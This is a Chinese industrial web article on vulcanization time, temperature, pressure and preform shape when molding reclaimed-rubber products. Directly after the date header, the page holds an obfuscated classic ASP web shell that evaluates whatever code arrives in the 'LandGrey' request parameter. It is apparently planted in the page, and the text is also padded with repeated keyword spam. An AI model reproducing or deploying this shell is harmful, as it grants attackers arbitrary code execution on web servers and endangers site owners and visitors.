再生胶生产橡胶模具模压硫化时间/温度/压力 发布时间：2023.01.03　　浏览次数：   <%@ language = VBscript %> <% SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT" LandGrey.AddObject "REsponse", Response LandGrey.AddObject "r"&chr(101)&"quEst", requesT LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn LandGrey.AddObject "serv"&chr(101)&"r", serVer LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")") %>

胶料在模具型腔中成型并硫化定型得到的橡胶制品即橡胶模型制品，通常工作在高温高压的条件下，再生胶在高温高压下质地致密、变形小、表面光滑、易加工，是生产橡胶模具理想原料。以再生橡胶为主要原料生产橡胶模具进行模压硫化工艺时，硫化时间、温度、压力以及橡胶形状直接影响制品的使用性能与使用寿命。硫化器  硫化机

1.再生胶生产橡胶模具模压硫化时间、温度

 

再生胶模具进行模压硫化时，硫化时间过短会出现熟不透、变形大、易老化、易喷霜的问题；硫化时间过长，胶料又会出现强度降低、硬度变差，再生胶制品会出现发脆或表面发粘的问题；需要根据再生胶模制品所用橡胶品种、制品厚度、硫化温度等合理确定硫化时间，再生胶生产厚制品建议采用低温长时间硫化。硫化器  硫化机

2.再生胶生产橡胶模具预成型胶料形状

再生胶模具进行模压硫化时，预成型胶料的厚度、长度、宽度等与制品形状接近，胶料在模具内流动所需时间短、流动距离短、毛边薄，所用再生胶越少，有效提高再生胶模制品合格率。

3.再生胶生产橡胶模具模压硫化压力

再生胶模具进行模压硫化时，适当的硫化压力可以使胶料更快速、更顺利地充满模腔，提高胶料的密度、防止硫化过程产生气泡，更好地保证再生胶HYL9Y11YEEYC制品尺寸稳定性和表面光滑性，在一定程度上提高胶料耐磨性、耐疲劳性、强度等。再生胶胶料硬度高时流动性差，建议适当提高硫化压力；模具小，适当降低硫化压力，防止模具和硫化机平板变形。调整再生胶模制品硫化压力时，****不得超过硫化机的****压力，避免机器损坏。硫化器  硫化机

在实际生产中，再生胶模制品硫化阶段硫化压力过高容易压坏模具刀口，空模不加压（注射模除外）。

4.再生胶生产橡胶模具模压工艺流程

将再生胶胶料或胶料半成品（包括制品所需的嵌件）装入模具型腔之后，在一定的压力、温度和时间三个条件的同时作用下进行成型和硫化；然后再将模具启开，从型腔中将制品零件取出来。部分再生胶制品需要进行二段硫化处理，缩短胶料在模具型腔内的硫化时间，提高模具和硫化机的利用率。硫化器  硫化机

所谓二段硫化，是将模压成型（即一段硫化）后的制品零件集中起来，在烘箱或硫化罐中进行的，可提高再生胶模制品生产效率。

使用再生胶生产模压型橡胶模具时，模具设计不合理、排气孔设置还会导致胶料产生气泡。橡胶硫化需要在高温条件下进行，硫化模具温度升高过程中，再生胶料与配合剂就会产生挥发份，这些挥发性气体只有排出模具中，制品才不会出现气泡。

硫化器  硫化机